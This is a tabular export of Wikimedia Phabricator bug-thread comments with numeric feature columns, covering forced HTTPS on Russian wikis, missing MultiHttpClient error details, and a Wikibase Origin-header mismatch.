HTTP is that we have enabled HTTP Strict Transport Security (HSTS) on Russian Wikimedia projects. I repeated your steps on IE 11, which does not support HSTS, and I could use insecure connection when logged in. There should be no way to use HTTP on all other browsers.

So in order to avoid the confusion, the solution here should be to remove the ""Always keep on secure connection"" option from Russian Wikimedia projects, asSCREEN_NAME suggested.

[1] URL"
421442,Russian projects force HTTPS regardless of preferences,"* Opened a wiki page via insecure link. It opened in a secure connection (expected: still insecure connection).
* Tried to change the URL to get back to insecure. Got redirected to secure (expected: insecure connection).
* At this point I discovered my preferences are set to ""Always keep on secure connection"" or whatever is the exact wording. Turned it off.
* Repeated #2. Same results.
* Logged out. Deleted all ForceHTTPS cookies.
* Logged in. Checked no such cookies are present.
* Repeated #4-6 several times. No luck.",,,1425566711,,PHID-USER-i2qgcl7ydbohc6lxlsuw,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-17,True,1.5,0.0,0.0,0.5,0.0,6.0,1.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,1.5,7.5,0.0,2.0,0.0,0.0,1.5,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.5,1.5,1.5,0.0,0.0,0.0,3.0,0.0,1.5,0.0,0.0,2.5,0.0,1.0,0.0,0.0,0.0,8.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.5,2.0,12.5,0.0,1.0,5.5,0.0,0.0,0.0,1.5,3.5,0.0,3.5,0.0,2.5,7.5,0.5,0.0,1.5,0.0,2.5,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.6508196721311474,0.6695355191256831,"* Opened a wiki page via insecure link. It opened in a secure connection (expected: still insecure connection).
* Tried to change the URL to get back to insecure. Got redirected to secure (expected: insecure connection).
* At this point I discovered my preferences are set to ""Always keep on secure connection"" or whatever is the exact wording. Turned it off.
* Repeated #2. Same results.
* Logged out. Deleted all ForceHTTPS cookies.
* Logged in. Checked no such cookies are present.
* Repeated #4-6 several times. No luck."
421276,Russian projects force HTTPS regardless of preferences,"@KPu3uC_B_Poccuu: A step by step explanation, with one step per line and what you see in that moment and what you expected, could be helpful. Obviously there is still confusion what this report is about.",,,1425543540,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,True,,,-17,True,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,5.0,0.0,2.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,8.0,8.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,4.1,0.775,"SCREEN_NAME: A step by step explanation, with one step per line and what you see in that moment and what you expected, could be helpful. Obviously there is still confusion what this report is about."
421267,Russian projects force HTTPS regardless of preferences,"> It forces while logged in.

The summary is not saying the contrary. Or do you mean that you are *not* redirected to https when logged out?",,,1425541703,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,True,,,-17,True,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,4.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,7.0,7.0,11.0,7.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,11.0,0.0,4.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,3.5925925925925926,0.8888888888888888,"QUOTE

The summary is not saying the contrary. Or do you mean that you are *not* redirected to https when logged out?"
421215,Russian projects force HTTPS regardless of preferences,"Ugh, what? It forces while logged in. Change the title back.",,,1425527303,,PHID-USER-i2qgcl7ydbohc6lxlsuw,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,20.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,13.0,7.0,7.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.9333333333333333,"Ugh, what? It forces while logged in. Change the title back."
420669,Russian projects force HTTPS regardless of preferences,"I don't know what ""reading"" means. However, I confirm http://ru.wiktionary.org redirects to https://ru.wiktionary.org when logged out. That's expected: T91044.

Maybe preferences need to be clarified? There is no way to disable HTTPS, so any relevant checkbox should be greyed out.",,,1425466361,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,True,,,-18,True,2.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,4.0,0.0,9.0,9.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,6.0,19.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,9.0,2.0,2.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,3.7735849056603774,0.7924528301886793,"I don't know what ""reading"" means. However, I confirm URL redirects to URL when logged out. That's expected: T91044.

Maybe preferences need to be clarified? There is no way to disable HTTPS, so any relevant checkbox should be greyed out."
419883,Russian projects force HTTPS regardless of preferences,Reading.,,,1425390267,,PHID-USER-i2qgcl7ydbohc6lxlsuw,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-18,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,4.0,1.0,Reading.
419879,Russian projects force HTTPS regardless of preferences,">>! In T91352#1081698, @KPu3uC_B_Poccuu wrote:
> Instead the server still forces me to use secure one.

For what? Reading? Logging in?",,,1425389976,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,True,,,-18,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,42.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,25.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,3.25,0.75,"QUOTE
QUOTE

For what? Reading? Logging in?"
419860,Russian projects force HTTPS regardless of preferences,,,,1425385374,,PHID-USER-i2qgcl7ydbohc6lxlsuw,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-18,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
419857,Russian projects force HTTPS regardless of preferences,,,,1425385327,,PHID-USER-i2qgcl7ydbohc6lxlsuw,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-18,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
419856,Russian projects force HTTPS regardless of preferences,,,,1425385310,,PHID-USER-i2qgcl7ydbohc6lxlsuw,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-18,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
419859,Russian projects force HTTPS regardless of preferences,"Hello. I went there to read. I hadn't been there I think since the time of introduction of forced HTTPS for anonymous editors because on all wikis I had visited prior I already changed the option to not force it on me. I was logged in already by the time the bug occured via Central Auth. So, after I went there (via insecure link, BTW), I noticed I was on secured connection. I tried to switch back to HTTP, then realized I might have never opted out, so I went to preferences and changed that, after I did the usual deletion of all ForceHTTPS cookies and logging in-out. I expected to be able to read the wiki using insecure connection after that. Instead the server still forces me to use secure one.

P. S. In fact, what I expected, when I change the preference setting, it should have an effect immediately, without the user even touching such sacred things like cookies. Why doesn't this work like that?",,,1425385359,,PHID-USER-i2qgcl7ydbohc6lxlsuw,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-18,True,1.0,0.0,0.0,0.5,1.5,3.5,1.0,0.5,0.0,0.0,2.0,1.0,0.0,0.0,0.0,9.0,0.0,10.0,16.0,0.0,3.0,0.5,0.5,0.0,8.0,0.0,0.0,0.0,0.5,0.0,0.5,2.0,2.5,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,2.5,0.5,0.5,0.0,0.0,0.0,10.5,2.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,1.0,0.5,1.0,0.0,0.0,0.0,5.0,2.0,14.5,2.5,1.0,7.5,0.0,0.0,0.0,0.0,4.5,0.5,1.0,0.0,10.0,16.0,3.0,0.5,0.0,0.0,10.0,0.0,1.5,0.5,1.0,1.5,0.0,0.0,0.0,3.8350515463917523,0.6855670103092784,"Hello. I went there to read. I hadn't been there I think since the time of introduction of forced HTTPS for anonymous editors because on all wikis I had visited prior I already changed the option to not force it on me. I was logged in already by the time the bug occured via Central Auth. So, after I went there (via insecure link, BTW), I noticed I was on secured connection. I tried to switch back to HTTP, then realized I might have never opted out, so I went to preferences and changed that, after I did the usual deletion of all ForceHTTPS cookies and logging in-out. I expected to be able to read the wiki using insecure connection after that. Instead the server still forces me to use secure one.

P. S. In fact, what I expected, when I change the preference setting, it should have an effect immediately, without the user even touching such sacred things like cookies. Why doesn't this work like that?"
419854,Russian projects force HTTPS regardless of preferences,"Hello. I went there to read. I hadn't been there I think since the time of introduction of forced HTTPS for anonymous editors because on all wikis I had visited prior I already changed the option to not force it on me. I was logged in already by the time the bug occured via Central Auth. So, after I went there (via insecure link, BTW), I noticed I was on secured connection. I tried to switch back to HTTP, then realized I might have never opted out, so I went to preferences and changed that, after I did the usual deletion of all ForceHTTPS cookies and logging in-out. I expected to be able to read the wiki using insecure connection after that. Instead the server still forces me to use secure one.",,,1425384937,,PHID-USER-i2qgcl7ydbohc6lxlsuw,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-18,True,1.0,0.0,0.0,0.5,1.0,3.0,1.5,0.5,0.0,0.0,2.0,0.5,0.0,0.0,0.0,9.0,0.0,8.5,16.5,0.0,3.5,0.0,0.5,0.0,9.0,0.0,0.0,0.0,0.5,0.0,0.5,1.0,2.5,0.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,3.0,0.5,0.5,0.0,0.0,0.0,8.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,1.0,0.5,1.5,0.0,0.0,0.0,4.0,2.5,13.0,1.5,1.5,6.0,0.0,0.0,0.0,0.0,4.5,0.5,1.5,0.0,9.5,16.5,2.0,0.0,0.0,0.0,9.5,0.0,0.0,0.0,1.0,1.5,0.0,0.0,0.0,3.789298245614035,0.688859649122807,"Hello. I went there to read. I hadn't been there I think since the time of introduction of forced HTTPS for anonymous editors because on all wikis I had visited prior I already changed the option to not force it on me. I was logged in already by the time the bug occured via Central Auth. So, after I went there (via insecure link, BTW), I noticed I was on secured connection. I tried to switch back to HTTP, then realized I might have never opted out, so I went to preferences and changed that, after I did the usual deletion of all ForceHTTPS cookies and logging in-out. I expected to be able to read the wiki using insecure connection after that. Instead the server still forces me to use secure one."
419825,Russian projects force HTTPS regardless of preferences,"Thanks for taking the time to report this!

Please clarify if this is about reading via HTTPS, about logging in via HTTPS, or about both, what happened at which stage, and what you expected instead.",,,1425381141,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,True,,,-18,True,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,24.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,10.0,2.0,5.0,12.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,2.0,24.0,5.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,3.9285714285714284,0.7857142857142857,"Thanks for taking the time to report this!

Please clarify if this is about reading via HTTPS, about logging in via HTTPS, or about both, what happened at which stage, and what you expected instead."
89758,MultiHttpClient doesn't return any useful error information,"I'm using MultiHttpClient from the libs directory to do multiple requests in parallel. When requests fail I want to know the reason. So far the only information I have been getting out of it is error code 0 with no further explanation. Docs say that it means serious curl error, but how in earth am I supposed to debug this? This is the serialized response:
a:10:{s:4:""code"";i:0;s:6:""reason"";s:0:"""";s:7:""headers"";a:0:{}s:4:""body"";s:0:"""";s:5:""error"";s:0:"""";i:0;i:0;i:1;s:0:"""";i:2;a:0:{}i:3;s:0:"""";i:4;s:0:"""";}",Low,25.0,1424205561,1436919336.0,PHID-USER-732lqsmz4v6bss3kln2v,False,PHID-USER-732lqsmz4v6bss3kln2v,False,PHID-TASK-drj3mhpdgomvmgh6d3j4,task_description,resolved,True,c3,1,True,True,True,-20,True,0.0,0.0,0.0,1.0,0.0,6.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,5.0,0.0,5.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,11.0,5.0,3.0,1.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,11.0,4.0,1.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,8.0,13.0,3.0,1.0,3.0,0.0,8.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,5.620253164556962,0.7848101265822784,"I'm using MultiHttpClient from the libs directory to do multiple requests in parallel. When requests fail I want to know the reason. So far the only information I have been getting out of it is error code 0 with no further explanation. Docs say that it means serious curl error, but how in earth am I supposed to debug this? This is the serialized response:
a:10:{s:4:""code"";i:0;s:6:""reason"";s:0:"""";s:7:""headers"";a:0:{}s:4:""body"";s:0:"""";s:5:""error"";s:0:"""";i:0;i:0;i:1;s:0:"""";i:2;a:0:{}i:3;s:0:"""";i:4;s:0:"""";}"
491475,MultiHttpClient doesn't return any useful error information,"Change 210664 merged by jenkins-bot:
Fix MultiHttpClient to return correct errors

[[https://gerrit.wikimedia.org/r/210664]]",,,1436909888,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-drj3mhpdgomvmgh6d3j4,task_subcomment,,True,c3,3,False,,,1,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.190476190476191,0.9047619047619048,"Change 210664 merged by jenkins-bot:
Fix MultiHttpClient to return correct errors

[[GERRIT_URL]]"
458092,MultiHttpClient doesn't return any useful error information,"Change 210664 had a related patch set uploaded (by Nikerabbit):
Fix MultiHttpClient to return correct errors

[[https://gerrit.wikimedia.org/r/210664]]
",,,1431510077,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-drj3mhpdgomvmgh6d3j4,task_subcomment,,True,c3,1,False,,,-8,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.269230769230769,0.8846153846153846,"Change 210664 had a related patch set uploaded (by Nikerabbit):
Fix MultiHttpClient to return correct errors

[[GERRIT_URL]]
"
413254,MultiHttpClient doesn't return any useful error information,We ran into this while making ParsoidVRS.,,,1424233405,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-drj3mhpdgomvmgh6d3j4,task_subcomment,,True,c3,1,True,,,-20,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,25.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.375,1.0,We ran into this while making ParsoidVRS.
413253,MultiHttpClient doesn't return any useful error information,We ran into this while making ParsiodVRS.,,,1424233397,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-drj3mhpdgomvmgh6d3j4,task_subcomment,,True,c3,1,True,,,-20,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,25.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.375,1.0,We ran into this while making ParsiodVRS.
412991,MultiHttpClient doesn't return any useful error information,Possibly because of http://stackoverflow.com/questions/23612881/detect-curl-timeout-in-php,,,1424206043,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-drj3mhpdgomvmgh6d3j4,task_subcomment,,True,c3,1,True,,,-20,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Possibly because of URL
89622,Origin HTTP header not set,"When editing a Wikibase entry, Ajax requests are sent with an `origin` GET parameter to `api.php`.

However, the editing interface runs on the same domain as the repo, and wouldn't need to set the GET parameter.

`api.php` expects that when an `origin` get parameter is sent, there is also an `Origin` HTTP header containing the same URL.

The Wikibase Ajax request does *not* send this `Origin` HTTP header, making `api.php` respond with a 403 status:

```
'origin' parameter does not match Origin header
```

This behavior is generated in `includes/api/ApiMain.php`

Probably the Ajax request has to send the required HTTP headers if it determines that it needs to send the GET parameters.",Low,25.0,1424047718,1492961869.0,PHID-USER-qctjjxrc7cabhbspfpv6,False,PHID-USER-7n5fvppwj4ueprv2iuys,False,PHID-TASK-pyyhytg7i2idvbunk7c3,task_description,declined,True,c3,1,False,False,False,-20,True,0.0,0.0,0.0,1.0,1.5,3.5,0.0,0.0,0.0,1.0,1.0,0.5,0.0,0.0,0.5,0.0,1.0,4.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,6.0,1.5,1.5,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,17.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.5,0.0,0.5,0.0,0.0,0.0,9.0,1.5,16.5,3.0,0.5,9.5,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,1.5,7.0,6.5,0.0,0.0,0.0,1.5,0.0,1.0,3.0,0.0,2.0,0.0,0.0,0.0,3.9927287149656268,0.6831041776837652,"When editing a Wikibase entry, Ajax requests are sent with an CODE GET parameter to CODE.

However, the editing interface runs on the same domain as the repo, and wouldn't need to set the GET parameter.

CODE expects that when an CODE get parameter is sent, there is also an CODE HTTP header containing the same URL.

The Wikibase Ajax request does *not* send this CODE HTTP header, making CODE respond with a 403 status:

``CODE`CODEincludes/api/ApiMain.php`

Probably the Ajax request has to send the required HTTP headers if it determines that it needs to send the GET parameters."
847107,Origin HTTP header not set,I am closing this since we have not had the resources to look into it for 2 years and no-one else seems to have run into it.,,,1492961858,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-pyyhytg7i2idvbunk7c3,task_subcomment,,True,c3,3,True,,,94,True,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,20.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,3.0,3.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,13.0,20.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.2666666666666666,0.8666666666666667,I am closing this since we have not had the resources to look into it for 2 years and no-one else seems to have run into it.
416451,Origin HTTP header not set,"Found out that the problem appeared because `$wgWBClientSettings['repoUrl']` containing a trailing slash and `$wgScriptPath` is empty.

Both are valid settings. I guess the URL parameter from any config option should be normalized before being used.",,,1424789090,,PHID-USER-qctjjxrc7cabhbspfpv6,False,,,PHID-TASK-pyyhytg7i2idvbunk7c3,task_subcomment,,True,c3,1,False,,,-19,True,3.0,0.0,0.0,5.0,0.0,5.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,3.0,8.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,21.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,10.0,15.0,5.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,4.538461538461538,0.8974358974358975,"Found out that the problem appeared because CODE containing a trailing slash and CODE is empty.

Both are valid settings. I guess the URL parameter from any config option should be normalized before being used."
